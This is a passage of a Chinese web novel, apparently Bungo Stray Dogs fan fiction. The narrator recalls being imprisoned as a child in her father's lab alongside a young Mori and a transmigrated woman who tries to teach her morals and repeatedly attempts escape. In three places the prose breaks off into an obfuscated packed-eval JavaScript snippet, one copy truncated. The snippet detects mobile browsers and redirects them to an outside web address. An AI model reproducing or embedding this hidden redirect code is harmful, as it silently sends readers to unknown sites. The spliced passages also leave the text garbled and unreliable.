就算我老实的不是很明显,但你也不能说我不是个老实人。 不过也怪我,我从来没辟过谣。 虽然是出于种种原因没法辟谣,但该说不说,这张三的名头扣在我头上后,我整个霸总人设都立体饱满了起来。 那叫一个冷漠无情阴狠毒辣,主打的一个阴晴不定心狠手辣,谈生意时人人都忌惮到让我三分,我压价抬价随心所欲,在整个横滨如鱼得水。 若不是那个“好心”的俄罗斯人为了对付我和我家族里的人,诱导军警因为失踪案来查我,我这法外狂徒人设估计能保持到我入土。 这世界上大概只有二大爷本人知道我对那些小屁孩其实没什么恶意,甚至明里暗里护着他们的就是我。 是的没错,我其实一直…… 在不求回报、无关利益、纯粹因为感情驱使的,护着我那些弟弟妹妹们。 很纯爱很圣母也很崩人设。 但没办法,谁让本霸总就是这么一个超级大好霸总。 太宰曾问过我究竟有什么把柄在二大爷那里,说出来大概没人相信…… 就是这三十二个把柄。 这也算是我一个极重要的秘密,天知地知我知二大爷知,这个完犊子玩意不仅知道,还每年拿我弟弟妹妹的命威胁我给他打钱。 这事说来话长,超级话长。 我从没和任何人提过,我二大爷其实也很好奇,他单知道我在乎那些弟弟妹妹的命,但他其实也不知道我为啥在乎。 他也问过我,我声情并茂的说是因为我有爱心,他冷哼一声,让我不要放屁。 行吧,人与人之间或许有信任,但我和二大爷之间只有你死我活。 他打听不出来也就不问了,但我猜他其实一直放不下。 要不然怎么会一边掐我脖子一边问我为了最大限度的保全他们,从而使自己从绝对优势,沦落到现在这个任人宰割的地步值不值得。 在他心里大概不管我护着他们有什么目的都是不值得的吧。 值得吗? 我几年前伙同饭团先生炸实验室之前,也是这么问那个帮我逃跑,结果自己没能逃出实验室的女人的。 她反问我,“你说能让我的孩子逃离被当作小白鼠的命运值得吗?” 她看着我,笑得很好看,她本来就是个明艳的女人,要不然也不会被我那人渣爹看上,成为我第三十八个小妈。 “可太值得了!” 就算她头破血流,污糟着一张脸,也依然笑着对我说,太值得了。 这是我极不愿想起的过去。 我掌管家族后那叫一个意气风发,以至于那段最狼狈的日子对我来说基本等于耻辱。 狼狈且不堪,就连失智的那两年都没有这么狼狈。 那时候我还很小,自从记事起我就被我那死鬼爹关在了实验室,除了他和他手下那一堆奇行种科学家再没见过别人。 直到被弄傻后才见到了第一个实验室外的人,森先生。 也不只是他,还有一个奇怪的女人。 那个女人不知怎的惹怒了我爹,身为第三十八任小老婆的她没有留在老宅锦衣玉食,而是被扔到了实验室和我这个废了的实验体关在了一起。 她被送来的时候一身的血,人还是不知生死的。 我抖着手去探她的鼻息,然后对上了她瞪大如铜铃的双眼,吓得我一激灵。 她也一激灵,先是茫然地看了看我,又茫然地看了眼我身边被送来给我复健的森先生,然后她的目光慢慢从茫然变成了不可置信。 “卧槽,”她喃喃道,“劳资穿越了。” “还有为什么森先生这么年轻?” 她的语气实在太理所当然,当时年龄尚小的我,下意识扭头问一旁被我爹送来给我治脑子的地下黑医森先生:“你认识?” 本来森先生对她没什么兴趣,就连她带着一身血被扔进来的时候,他也只是掀了掀眼皮。 但她这亢奋的语气实在让人难以忽略,于是森先生终于正眼打量了她一下,然后不感兴趣地收回视线, “从没见过。” 那女子却突然从地上爬起来,带着满脸的血兴奋地跑到他面前,“活的森先生!” 森先生:? 她又一脸兴奋地跑到我面前,“活的爱丽……不对,与谢……也不对……” 然后我眼看着她脸上的兴奋慢慢被茫然所代替,“这长得好像谁也不像啊……” “小妹妹,”她疑惑地看着我,“你是谁啊?” ……我还想问你是谁呢。 我冷哼了一声,用右手捂住了左眼:“吾乃左眼封印着烈焰的炎炙魔王!” 那女子脸色瞬间变得煞白,“魔王?这里怎么会有魔王?这到底是哪啊?不是文豪……” 她突然失声,像是被卡脖子了一样,无论她怎么尝试,后面要说的话愣是一个字都冒不出来。 在她惊疑不定的眼神中,森先生一把捂住我的嘴,对着我面前似乎受到巨大冲击的女子笑了一下,“孩子最近中二病,请当她在放屁。” 没想到女子脸更白了,她抖着手指着我俩,好像世界观正在崩塌,“孩子?你的?” 我:? 森先生:? 我俩同时黑了脸,“不是!” 女子终于长舒一口气,苍白的脸色慢慢平复。 就在我想问问她她到底是怎么被罚进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385733|200234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的时候,就听到砰的一声,她脱力了一般,一头栽倒在地上,死了一样安详。 我:…… 森先生:…… 年轻就是好,倒头就睡。 所幸森先生还在,断断续续治了一个多月,她又活蹦乱跳了。 说实话我和森先生都并不在意她的死活,因为当时的我连自己的死活都顾不了,哪还有闲心去关心陌生人的命,而森先生则是单纯的不想瞎耽误功夫。 “她看着就不像能付医疗费的样子。”森先生如是说,医者仁心他是一点没有。 但他最后还是治了,倒也不是在乎她死不死,主要还是想着她死了以后又臭了的话,着实会影响我们的生活环境。 毕竟当时我那渣爹看着像是要把我软禁到天荒地老的样子,而被我爹搞过来给我治脑子的森先生短时间怕是也难走。 关我俩的屋子处在实验室深处,平时就连送饭都拖拖拉拉不一定准时,要是再多具尸体都不知道要等几天才能让人拖走。 我俩都不想和死尸共处一室,所以颇费了一番功夫把她救活了。 那女子醒来以后虽然依旧虚弱,但精神状态却饱满,尤其面对森先生,眼珠子都能发光。 我时不时就能听到她喃喃自语,“我竟然被森先生救了,我能吹一辈子!” 好好好,我这么一个大活人站这就是看不见是吧,再怎么说我也在口头上督促了一下森先生治病啊! 我觉得我找到了她被扔进来的原因了—— 她疯求了,她对森先生一见钟情了! 听到我的推测后森先生沉默了很久,我以为他是震惊,其实他是无语。 “只有你会觉得她那个瘆人的眼神像是恋爱,”森先生不轻不重地敲我的头。 我打开他的手,“那你有何高见?” 森先生撇了下嘴,“像是在马戏团观猴。” 我沉默了,本想和他辩几句,却不得不承认他说的对。 她那亮闪闪的眼光实在太像在进行什么诡异的人类观察。 这人一直处于一种诡异的兴奋中,看森先生的眼神活像看到了灭绝的珍稀动物。 森先生读书,她盯—— 森先生看报,她盯—— 森先生警告地看她一眼,她立马假装很忙,然后等森先生收回目光,她继续炯炯有神地盯—— 没两天就把森先生盯毛了。 我很是幸灾乐祸。 但没两天我也乐不出来了。 因为她开始注意到我了。 说起来这小禁闭室里就生活着我们仨,注意不到我才是眼瞎。 但是她对森先生的热情过于高涨,以至于过了那么久才终于分一部分神放在我身上。 我私以为主要原因是她对森先生产生了审美疲劳,这么高强度的盯法,就算是个天仙现在应该都是两个眼睛一个鼻子,开始分不清美丑了。 当她开始炯炯有神地看着我,并心血来潮问我几岁,读过什么书,吃得什么药的时候,我翘起的嘴角缓缓落下,森先生每天拉的老长的那张脸慢慢灿烂。 森先生双手环胸,面对我求救的眼神缓缓勾唇:报应。 笑容不会消失,只会转移,现在,森先生很是幸灾乐祸。 17. 思想品德课和我 眼看她还要接着问,为了祸水东引,我先发制人问她,“你到底是为什么被我渣爹扔进来?” 她想了想,不确定道:“好像是偷情?” 我:“……” 这是能说的吗? 她挠挠头,“我一醒来就被人从床上拖下来,旁边还躺着个八块腹肌的帅哥,接着一个男的凶神恶煞的让人打了我一顿,把我扔到这里了。” 我:“……” 对她情夫:八块腹肌的帅哥。 对我渣爹:凶神恶煞的男的。 她还健在真的是个奇迹。 不过她真的是好稳定的精神状态,语气平缓,表情茫然,好像那个偷情被我渣爹当场抓奸的人不是她一样。 “唉……”她狠狠叹了口气,“别人穿到文豪……咳,都是天赋异禀身怀异能左拥右抱走上人生巅峰,我怎么就这么一个天崩开局呢!” 她说话好奇怪,一句话里总有那么一两个字好像消音一样突然强行闭麦,搞得我一度以为她是个结巴。 还有什么叫好像?她自己干了啥事自己都不知道吗? 她确实不知道。 据她所说她失忆了,被我渣爹捉奸之前的事一点都不记得了。 她一脸真诚的看着我们,生怕我们不相信她。 我和森先生一言难尽的看着她,只希望她下次说谎的时候不要再眼神乱飘冷汗直冒,心虚的生怕别人不知道她在撒谎一样。 但我们也没追问,这年头谁没点小秘密,互相尊重,互相理解。 我们仨关在一起整日无所事事,森先生在研究怎么逃跑之余,出于对我爹的报复心理,也会隔三差五暗戳戳的给我讲点关于篡位夺权、杀人上位的睡前故事。 他不见得真的指望我有能耐去篡位,毕竟我一弱小可怜无助的智障,哪能撬动横滨首富的位置。 他就是被我爹抓来不爽,随口挑拨而已。 我没觉得怎么样,那个女人倒是先毛了。 随着森先生幽幽的声音,我亲眼看着她的表情从好奇到僵硬再到发白。 我以为她是被吓的,毕竟森先生这人的“故事”充满了暴力血腥阴谋诡计,要不是我已经听麻了,我也害怕。 但这个女人却好像是从另一个角度发出不满。 在森先生又一次暗戳戳撺掇我杀父篡位的时候,这个女人终于忍无可忍一般扒拉了他一下, “你这个教法教出来的都是反社会精神病!手段这么极端,是个人都能被你逼叛逃!” 把森先生当白噪音听的我本人:“?” 不是,好端端听个催眠故事我还成反社会了? 还有,谁叛逃了?没听说过啊? 她吼完以后似乎意识到了什么,没等我们追问,就立马岔开话题,又问我现在的教育到了什么程度。 鄙人不才,连幼儿园文凭都没有。 当得知我今年十二,没上过学,是个文盲时,这个奇怪的女人的脸色慢慢变得异常严肃。 她用一种极难以言说的表情看着森先生,想说什么又不敢,最后只能转回头严肃地拍了拍我,“义务教育从娃娃抓起,没事,我来教你就好!” 这话怎么听着那么像在拐弯抹角的谴责某个不重视孩子基础教育的黑设会医生? 森先生一言难尽的看着我,又一言难尽的看着她,最后他啧了一下也没说啥,继续去研究如何从这个黑实验室逃跑。 我本以为这个女人只是说说,谁能想到她真的开始认真教我abandon。 我为一时口嗨而深深后悔,我抗拒的看着她,“我不学习!” 她严肃地看着我,“不学习是没有前途的!” 森先生幽幽开口,“她关在这本来就没有前途。” 那女人瞬间毛了,“哪有你这样当家长的!就算12岁还是文盲但是你也不能打击孩子自信心啊!” 森先生:“你孩子。” 女人:“你孩子。” 说真的我后悔了,我就不该口嗨说我是个文盲,以至于激发了这个女人莫名其妙的保护欲。 我虽然没上过学,但我也读过不少书,最起码我傻之前我那首富爹可是照继承人来培养我的,傻了之后森先生也是以斯巴达的方式教育我的。 不论是我爹还是森先生都不是什么好东西,这就导致被他们教育出来的我其实也不是什么好东西。 主流价值观我是一点没有,真善美三个字我是一点不信。 我时常能把这个女人气得半死。 她:“富强民主文明和谐!” 我:“嚯!” 她:“自由平等公正法制!” 我:“嘿!” 她:“爱国敬业诚信友善!” 我:“没听说过!” 她气得拍我脑袋,“你跟我这说相声呢!” 她好生气,她看起来真的很信这些话。 我突然有点羡慕,也不知道她以前到底生活在一个怎样的环境里,被保护的这么好,竟然能养出这样的心性。 我哼了一声,“咱们可都被非法囚禁着呢,你和我说这些?” 她却坚持,“人还是得有正确的三观,这样大事小事才不会犯糊涂。” 我:“什么冰糖葫芦?” 她恨铁不成钢:“你好像不是读书的料!” 我又问她,“什么是三观?” 她:“人生观、价值观、爱情观。” 森先生插嘴,“世界观!什么爱不爱的,不健康。” 她:“……” 她愧疚,“对不起,我也不是读书的料。” 被非法监禁的日子就这么一天天过去。 森先生闲得没事还是会撺掇我去篡位,有时候被我渣爹烦了,还会一脸阴沉地给我灌输好几个小时在死刑边缘反复横跳的篡位方法。 而那个女人则见缝插针给我上几节思想品德,致力于把我打造成道德楷模。 虽然我听着听着就困了,但不得不说日积月累的,还是有那么一点作用的。 最起码那24个字我记得滚瓜烂熟了。 以至于有的时候在听森先生阴森森的讲“故事”的时候,我总嫌他冷血不是人。 这个时候森先生就会面色复杂的说,他怎么教出来我这么一个心慈手软的玩意。 而在上品德教育课的时候,即使我已经充分考虑过那个女人的接受程度,违心的说出不少真善美的漂亮话,她却也面色复杂地说,她怎么教出我这么个狼心狗肺的东西。 搞得我一直对自己的定位很混乱,分不清自己到底是个什么东西,时常在精分的边缘反复横跳。 我有的时候也很疑惑,在横滨这么一个鬼地方,这个女人为什么致力于让我学这么些个没有用的东西,这未免也太奇怪了一点。 当我问她的时候她就安静地坐着不说话,用一种无法描述的眼神注视着我,有些恍惚也有些悲伤,很久之后,她才轻轻开口, “因为你们这里‘正常’的东西,对我来说才是‘奇怪’啊……” 我很多时候就在想,我那渣爹究竟是从哪个与世隔绝的地方把她挖出来的? 她年龄比我大不少,却天真得像是从来没见过血,连险恶两个字怎么写都不一定知道。 她这辈子最大的挫折,说不定就是从被我渣爹从床下拖下来关进实验室那天才开始。 她这个人一直给我一种抽离感,就像她讲的一个猴子取经的故事一样,她就像从石头缝里蹦出来的,与这个世界格格不入。 但也只有这样“天真”的人,才能在阴暗潮湿不见天日的非法实验室中,当着我和森先生的面对我们说,她其实有个梦想。 那天我和她爆发了一个不大不小的冲突,在我不耐烦听真善美小故事,多次质问她学这些到底有什么用的时候,她没有生气也没有甩脸,而是轻轻吸了一口气,用前所未有的郑重表情对我和森先生开口, “说出来你们可别笑话我,我其实有一个梦想,我希望世界和平。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385734|200234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 一句话把我和森先生干沉默了。 她说完见我们一言不发就推了下森先生,“你们说句话呀!没人接话我多尴尬。” 森先生看她一眼,“你不是不让我们笑话你吗?” 一句话把那个女人也干沉默了。 过了一会儿,她萎靡不振的靠在墙边,嘟嘟囔囔的,“哼,我就知道你们肯定觉得我有病,那我何尝不觉得你们有病,你们这个世界有病。” 森先生坐在书桌前微笑,“嗯嗯错的不是你是这个世界,既然大家平等的有病,那么这位女士可以不要再挡着台灯的光了吗?” 她听话的往旁边挪了挪,然后继续嘟嘟囔囔,“人命不值钱,有钱是皇帝,黑设会横行,孤儿遍地走……” 我看她一眼,“满嘴顺口溜,你要考研啊?” 她哼了一声,“如果不到这个鬼地方来,那我确实是的。” 我顿时肃然起敬,这应该是我历任小妈里文凭最高的一个了。 出于对未来研究生的尊重,我礼貌地接了她的话,“行吧行吧,那你说说怎么个和平法?你觉得这里不正常,那你觉得什么才是正常?” 她眼睛微微睁大,“你们真愿意听我说?” 我随便点了点头,而森先生正埋头写着什么,头也不抬的敷衍她,“你说你的。” 她眸光微亮,轻声开口,“我有一个梦想,我希望世界和平,听起来很宏大很不可能吧,但梦想嘛,我梦个大一点的也没什么不对吧?而当我意识到我到了文豪……咳咳这个地方的时候,我就更是这样想的了,” 她叹了一口气,眸光微颤,“毕竟我知道,现在的横滨呀,真的很容易死人呢……” 这一点我倒是很赞同,我虽然一直被关在实验室里,但外界的消息多少也是知道的。 如今的横滨可是盘踞着数不清的不法组织,时不时就因为利益关系斗得你死我活。 混乱是这座城市的底色,流血与杀戮是这座城市的主旋律,也不知道什么时候是个头。 和这些不法组织互相争斗产生的杀孽相比,我这沉迷非法人体实验的渣爹都算是慈悲了。 我盘腿坐在地上,一只手托着下巴安静的看她,她说这话时的表情很是沧桑,整个人的气质都变了。 我突然意识到,她并不是真的“天真”,她其实知道这座城市的危险,也知道人心险恶。 但她还是坚持说,她的梦想是世界和平。 我笑了一下,能实现的才能叫梦想,不可能实现的只能是笑话。 她并没有看到我脸上的表情,也没有注意森先生唇角同样嘲讽的弧度,她站在墙边,抬头望着高处那狭窄的、不过一个拳头大小的天窗, “你们不是想知道,我所希望的是怎样的和平吗?” 一丝光亮透过天窗打在她的身上,而她脸上的笑意是我从未见过的柔和,她慢慢开口,语气很是温柔, “我希望人们在街上行走而不用担心爆炸,我希望孩子在公园玩不会遭遇枪战。” “我希望有异能的人要懂克制能自束,让那如天赐一样神奇的能力只会是伸出帮助的那只手,而不是捅向人们的那把刀。” “我希望这里没有杀戮与血腥,人们可以寿终正寝也可以死于自然疾病,但不会再动不动因为什么恐怖袭击,或者帮派争斗而轻易的经历生死别离。” 她停住了,深吸一口气平复了一下越来越急促的呼吸,然后用轻的不能再轻的声音说道: “我希望我一睁眼看到的是蒙蒙亮的天,我窝在被子里放空,直到闹钟响起告诉我今天有早八,而不是被人从床上拽下去,棍棒加身拳打脚踢,然后被困在这里苟延残喘。” “你知道吗?我最开始其实还以为我会是什么厉害的主角呢,” 她摸了摸自己的脸,那里还残存着未消的青紫与红痕, “直到被打的毫无还手之力,也没见自己觉醒什么异能。” 她自嘲道:“我不是主角呢。” 18.女人和我 她自嘲道:“我不是主角呢。” “所以啊……”她认真地看着我,“没有异能的我,无比普通的我,作为路人甲的我,连名字都不配出现的我,有一个很小又很大的愿望,” “我希望……就算我不是‘主角’,我也能活,活在一个没有争斗和暴力的横滨,一个不会轻易将普通人卷入血腥事件的横滨。” 她看着我们,眼中闪过微光, “这就是我所认为‘正常’的世界,我希望大家都可以生活在这样一个正常的世界,如果是这样的话,那么是不是……大家就都不会有那么多遗憾?” 森先生不知何时已经停笔,他靠在椅子上,整个人笼罩在阴影里, “正常的世界?只要人存在,争斗就存在。” “是的,你说得没错,”女人转头理直气壮地看着他, “但不妨碍我觉得这里不正常,况且死这么多人就是不正常!也不妨碍我希望这个世界变得更正常!” “等着吧!我要是能出去我第一时间把这破实验室举报了!再把我知道的犯罪组织有一个算一个通通举报了!就算他们背后有人我也不怕!新时代接班人永不认输!” 说到最后她几乎是在吼了,声音大到吸引来了守卫,守卫大声敲门让我们安静点。 在守卫的威胁声与女人嘟嘟囔囔的不满声中,我听到了森先生略带叹息的声音, “堂吉诃德。” 等守卫走远了,女人的情绪也渐渐平复,她开始有点尴尬了, “哈哈,是不是太理想化太天真了,唉,好啦好啦,我知道你们在心里肯定说我蠢,不过我就是这么想的,蠢就蠢吧!” 我和森先生对视一眼,都没有再说话。 其实她不知道,我现在并没有觉得她蠢,我只是…… 有点羡慕。 我不知道森先生具体怎么想的,我也不是他肚子里的蛔虫,但以我对森先生浅薄的了解,他没有再用刻薄的语言讽刺她,只是不咸不淡地说她是“堂吉诃德”,就已经说明问题了。 当他说出那四个字的时候,他到底是在讽刺她荒诞可笑的心态,还是在肯定她勇往直前的勇气? 乌托邦存在吗?理性的人绝对会当场否定它,但不代表不会向往它。 如果真有这么一个横滨的话,我住的地方是不是……能有一个比拳头更大一点的天窗? 她所描述的那一幕,即使我知道是天方夜谭,也会不自觉地想沉溺其中啊。 梦想,不就是难以实现才能称之为梦想吗? 虽然我和森先生都觉得她的那一个“梦想”,应该是不可能实现的可笑“幻想”才对。 我们不见得理解她,但我们也没有卑劣到去嘲讽她。 时间一天天过去,那个胸怀壮志的女人没有能出去,反倒是森先生先拍拍屁股走了。 也不知道他用了什么方法让我渣爹终于放了他。 早知道应该把他写满的那些纸偷出来看看,我觉得那大概率就是他的脱身计划。 但他走之前倒也还是看在相处这么久的情分上告诫我和那个女人,让我们别想太多也别太招摇,平等啊自由啊法治啊统统和我们没有关系。 如果没啥追求的话,安安静静的也能活下去,虽然活得很没有尊严和生活质量就是了。 然后这家伙头也不回的走了,只剩下我和那个女人继续被非法监禁。 我确实没啥追求,但架不住这个女人太有追求。 她想逃出去,她自己逃就算了,还要带着我逃出去。 早知道我就不该在她问我身世的时候老老实实的说出来,她听完后就双眼含泪满脸怜爱,看着我好像在看世界上最悲惨的小可怜。 大可不必,我有吃有喝,这世界上比我惨的多的是。 我爹确实在我身上做过些惨无人道的实验,但我现在也挺好的,有胳膊有腿的。 但这个女人非常忧心忡忡,她说不逃迟早会被拉出来做实验小白鼠,更何况她还有一个远大的梦想等着去实现,还有一些人她想去见一见。 “来都来了!”她眼睛亮亮的,“我怎么能不去看看真人呢?” 我没什么梦想,我也没她那么焦虑,毕竟做次实验挺贵,我在我渣爹心里算是残次品,犯不着在我们身上白花钱。 我劝她一起躺平,她不,她义愤填膺地说要带我重获自由,奔向美好的明天。 然后她转头去撬锁,我默默看着,她确实撬开了,我大为震撼。 她得意极了,“想当年看文豪……看影视作品,太……咳咳有个锁王开锁帅极了,我就找了个锁匠进修了两天,怎么样,我行吧?” 我:“刑。” 她要带我开溜,我抽抽嘴角,让她清醒一点,这里处处都是守卫,怎么可能出得去。 她不服气,让我等着,她出去探探路,等她找好逃生路线就带我出去。 我劝也劝了,拦也拦了,她还是趁我睡觉的时候自己偷跑出去。 第二天一早,我看着被守卫扔进来血肉模糊的一团人狠狠沉默了。 老天爷,森先生走了,我得花多少功夫才能把她治好。 好麻烦,我得找多少人通路子。 我一烦,心理就容易阴暗。 我开始沉思,不是,我非得治她吗? 我一个人也挺好,挺开心的。 但放着她不管也显得我很不是东西。 我正天人交战,这血肉模糊的一团人猛的睁开了眼睛,把我吓一跳。 我赶紧上去看她,摆出一副从没想过要放弃她的担忧表情,“哎呀,原来你没晕倒,可吓死我了!” 她却对我的话毫无反应,反而喃喃着说些什么,我凑上去听,她声音极小,我隐约听见什么“家….死了……回去了……太奶”之类的话,听得我摸不着头脑。 正当我想听的更清楚一点的时候,她突然一跃而起,目光炯炯有神,“我还以为被打的出现幻觉看见太奶了,原来我死了就能上路回去了!” 回去?回哪?你都死了你除了上黄泉路你还能上哪? 我大吃一鲸,只觉得她被打坏了脑子。 可没等我反应过来,她却突然发疯大叫:“啊啊啊啊这破地方老娘是一天都待不下去了!” 然后如同一个炮弹一样,大头冲墙撞过去了。 我大惊失色,猛地抱住她向前冲的身子,“你清醒一点!不能撞啊!” 她大喊:“好妹妹我知道你心疼我,但是你让我死吧!我要回去啊!” 我抓狂:“这是承重墙啊!你把它撞塌了我也得给你陪葬啊!” 我抱住她的时候才知道这家伙是真发了狠,她的头痛击我的肚子,别说她了,我都要看见我太奶了。 也不知道她受了什么刺激,这是真想死啊! 闻言她倒是不动了,只是一直在喃喃着什么都是魔鬼,都不是人,怎么能对人做出这种事之类的。 我了然,她应该是逃跑路上不小心看到了正在进行的实验,一时接受不了那样惨无人道血呼啦叽的场面,被吓到了。 我轻轻拍她,安慰道,“没事没事,咱俩都属于残次品,前面那些实验品不消耗完轮不到咱俩的。” 我感到怀里的人突然僵住了,她慢慢直起身子,我看到她满头满脸的血,和红得像要滴血的眼。 看到我后,她眼里的那股不顾一切的劲儿慢慢退了,愣愣地站在那,“对哦,这还有个孩子呢,我走了她咋办啊?我能带她一起走吗?” 我安慰她的手一顿,火速后退,满脸黑线,生怕她一激动拉我一起以头抢地,“大可不必!” 她表情变化了半天,一会儿拉着我的手,一会儿掐掐我的脸,把我全身摸了一遍,然后一手拽着我,一手猛的掐自己脖子,掐的自己面红耳赤,最后失望的叹了口气,“带不走啊……” 把我看的一愣一愣的,“不是大姐,人是掐不死自己的,你这是干啥呢?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387506|200234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她尴尬的放下手,“这不做个实验嘛……” 我:“那你实验出啥结果了?” 她定定的看着我,好像在犹豫挣扎着什么,半天,她突然把自己头发揉成了个鸡窝,边揉边喊, “啊啊啊啊啊她在原作……咳咳连出场机会都没有充其量是个炮灰路人啊!没有主角光环我不管她她肯定就死定了啊啊啊啊!见死不救我实在做不到啊啊啊啊!” 她嚎了半天,最终气鼓鼓地掐我的脸,“老娘真是欠你的!” 不知道这个女人到底下了什么决心,反正自从这天起,她变得极其悍勇。 伤还没养好就斗志昂扬的准备再次跑出去探路,这种不要命的程度简直让我叹为观止。 我一把拽住她,感觉额头青筋都冒出来了,“你想死啊!” 我吼完才想起来,她好像确实想死来着。 我铁青着脸松开手,“想死就死吧,慢走不送,别死在我眼前,臭了会熏人。” 她撇撇嘴,“小没良心,我在哪不能死,我可都是为了你!” 说着,她就以迅雷不及掩耳之势冲出去了,我拦都拦不及。 外面乒乒乓乓的,没一会儿被打断一条腿的她又被扔回来了。 被扔回来还不算完,当天夜里我睡着睡着又听见外面一阵鬼哭狼嚎,睁开眼发现这人又偷跑出去结果被打断另一条腿又又扔回来了。 我上去看她,她疼得脸都白了,嘴里还嘟嘟囔囔的,“我都摸到二门了,只要打不死我,我下次就能开了那道门!” 我有点抓狂,“不是,你是抖m吗?你有病吧!你不是想死吗?来!撞墙!非要出去找打干什么啊!只要咱们安安静静的,也不会有生命危险,你干什么非要往外跑啊!” 她以一种极其复杂的眼神看着我,也不说话,就安安静静地躺在地上。过了好一会儿,我都快睡着了,才听到她梦呓般的声音。 “我一直在想,为什么文……咳,那什么上面完全没有你的痕迹?” 我:? 我皱眉,“啥玩意?啥痕迹?我大半辈子都在这里关着,除了实验室里,哪里还能有我的痕迹?” 她完全不理我,躺在地上,语气充满了疑惑,“不应该啊?和森先生有这么深牵扯的人,怎么会连出场的资格都没有?” 我更疑惑,“不是,这和森先生有啥关系?什么出不出场?是指出生在这个世界上吗?他又不是我爹又不是我妈,还能管得了我出不出生?他管这么宽吗?” 她还是不理我,语速却越来越快,越来越焦虑,“明明你遇见了森先生,明明你在这样的年纪遇见了他!为什么没有你?边边角角都没有你!没有你,没有你的家族,为什么?” 我:“你好?hello?摩西摩西?我不就在这吗!你能看得见我吗!” 她的声音渐渐轻了下来,看看我,又看看放在一侧的书桌。那张书桌是森先生用的,但他走了有段时间,那上面都落灰了。 她看着那个角落,声音开始发抖,“是不是因为这些东西,这些人,这个地方……在故事开始的时间线里……都……没了?” 她的声音越来越快,越来越焦虑, “对对,其他人和他的牵扯被画出来是因为那些人还在,或者和他之间联系的媒介都在,社长还在……与谢野还在……只有还在并且未来肉眼可见能和他有持续牵扯的人,才有资格被画出过往……为什么没有你?为什么没有你!” 我转头冲门口探头探脑的守卫小哥问道:“你能看得见我对吧!我是活人对吧!” 小哥小心翼翼地点了下头,看了一眼地上那个不知道在犯什么病的女人,然后像看到了什么脏东西一样火速缩回了身子。 我忍无可忍想去摇那个女人,让她清醒一点,突然,她转过头,忍着疼痛撑起身子,猛地拉住我的手,手劲极大,攥得我生疼, “你一定要逃出去!”她大吼,“你明白吗?你一定!要!逃出去!” 19.小妈和我 “你一定要逃出去!”她大吼,“你明白吗?你一定!要!逃出去!” 我怔住了,她的表情太严肃了,我心里一跳,狐疑地问她:“你在外面探听到了什么?我在这里会有危险?我那渣爹要再对我动手了?” 她嘴唇微微颤抖,抬起手摸摸我的脸,突然下定决心一般,目光锐利地看向我,张口想说什么。 我疑惑地看着她,但耳朵也竖起来了,她这样一看就是要说出什么惊天大秘密的样子。 等了好久,却只见她突然涨红了脸,嗓子发出嗬嗬的声音,骤然失了声。 她愣住了,反应过来后恨恨锤地,“该死!该死!凭什么不让我说!” 她表情变幻,最终以一种壮士断腕般悲壮的表情对我说道,“具体原因你就别问了,你乖乖等着,反正我要带你逃出去!” 她红着眼,咬着牙,“死都要带你逃出去!” 我沉默了良久,用半开玩笑的语气问她,“如果你会死的话,那你那个远大的梦想该怎么办呢?” 她扯了一下嘴角,“可是我若连你一个小孩儿都要放弃的话,又谈什么梦想呢?” 她确实说到做到。 从那天开始,她变得极其悍勇,隔三差五的就要冲出去一回,每次都是竖着出去横着进来,但该说不说,确实一次冲的比一次远。 第一次,她:“诶呦差一点就开了二门!” 第二次,她:“诶这三门前咋这么多护卫,下次我得避一避!” 第三次,她:“电梯密码到底是啥?六位数我总不能靠穷举法吧?那首富老登的生日是几号来着?” 第十八次,她:“卧槽我差一点都冲出去了可还是被发现了,可惜是晚上,门都开了也没见着太阳。” 我围观了她十八次出逃,而我的心态在这十八次围观里发生了微妙的变化。 最开始我觉得她自不量力,后来我觉得她脑子有病。 她非要往外跑,我劝不住拦不住,我给她上药的速度比不上她受伤的速度。 她的情绪也起伏贼大。 准备冲出去前她亢奋地唱歌,“起来!不愿做奴隶的人!们!” 养伤的时候疼得受不了又挥手赶走我不让我包扎,“起来!别包我,不想活了,活不了一点!我要回家!” 不疼了以后又表情纠结,时不时的叹气,叹一口气看我一眼,然后仿佛下定了什么决心,最后又开始锤自己,“起来!乐山大佛起来!让我坐!” 锤完又接着往外冲。 这精神状态我理解不了一点,问她她又不说,我干脆放手不劝了,别连累我就行,除了保证她被打了不会死,多的我也管不了了。 我知道她说过要带我一起跑,但我听就听过了,要说相信那是一点都没有的。 有些事,说到也不一定做到,要是谁当真的,那才真是好笑。 自保是本能,若真能撞大运找到逃出去的路,只有大傻子才会折返去救一个相处了没几个月的拖油瓶。 森鸥外就是个聪明人,人家找到了门路逃出去,但未免麻烦,也不会考虑拉一把我这个好歹和他断断续续相处几年的人。 趋利避害而已,人之常情。 我理解并尊重。 因为我在这样的境遇里会和他做一样的选择,我们是一样的人。 但显然这个女人不是。 当她第二十次被扔回来的时候,她看着快不行了。 